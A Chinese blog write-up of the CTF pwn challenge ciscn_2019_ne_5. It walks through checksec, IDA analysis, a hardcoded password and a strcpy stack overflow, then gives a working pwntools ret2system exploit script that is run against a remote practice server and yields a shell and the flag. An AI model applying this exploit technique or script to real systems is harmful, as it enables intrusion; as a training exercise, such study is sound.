【pwn做题记录】ciscn_2019_ne_5 1

例题:ciscn_2019_ne_5 1

首先检查一下文件:

C:\Users\A\Downloads>checksec ciscn_2019_ne_5
[*] 'C:\\Users\\A\\Downloads\\ciscn_2019_ne_5'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
  • 32位程序,小端序
  • GOT只读
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

运行一下程序,看一下大概:
image

用IDA打开,看一下main函数:
image
可以看出密码是这个:administrator

再运行一遍,知道个大概流程:
image

再看一下main函数,发现跟flag相关的函数,选择4的时候调用
image

查看GetFlag函数,程序说flag在log里。也就是提示我们要先选择1编写log,在选择4调用它
image

回去看一下AddLog函数
image

AddLog写入的a1(即我们填写的log,也就是main函数的src)长度为128字节,即0x80字节,GetFlag的dest距离ebp有0x48字节
所以这里strcpy(dest, src);存在栈溢出漏洞(将0x80字节的传给0x48字节)。填充的垃圾数据长度为0x48 + 4

由于程序里有system,所以我们找一下/bin/sh,发现有个sh,也够了
image

因此我们的思路:

  • 选择1,添加log
  • log内容为垃圾数据 + system("/bin/sh")
  • 选择4,进行栈溢出,劫持程序流,获取flag

攻击脚本

from pwn import *
#context.log_level = 'debug'

file = "./ciscn_2019_ne_5"
elf = ELF(file)
system_plt = elf.plt["system"]
offset = 0x48 + 4
bin_sh = 0x80482ea

local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",25850)

pay = b'administrator'
io.recvuntil(b"password:")
io.sendline(pay)


pay = b'1'
io.recvuntil(b"0.Exit\n:")
io.sendline(pay)

# 这里system的返回地址不能用p32(0),因为这相当于0x00,会将写入的字符串截断,所以需要非0x00的字符。
pay = b'a' * offset + p32(system_plt) + b'0000' + p32(bin_sh)
io.recvuntil(b'log info:')
io.sendline(pay)

pay = b'4'
io.recvuntil(b'0.Exit\n:')
io.sendline(pay)

io.interactive()

就可以得到flag了

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 25850: Done
[*] Switching to interactive mode
The flag is your log:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaЄ\x04\x080000\xea\x82\x04\x08
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{5548c765-0d03-4313-a864-5e3fe4164e22}
$ 
[*] Interrupted
[*] Closed connection to node5.buuoj.cn port 25850
posted @ 2025-08-08 18:11  星冥鸢  阅读(39)  评论(0)    收藏  举报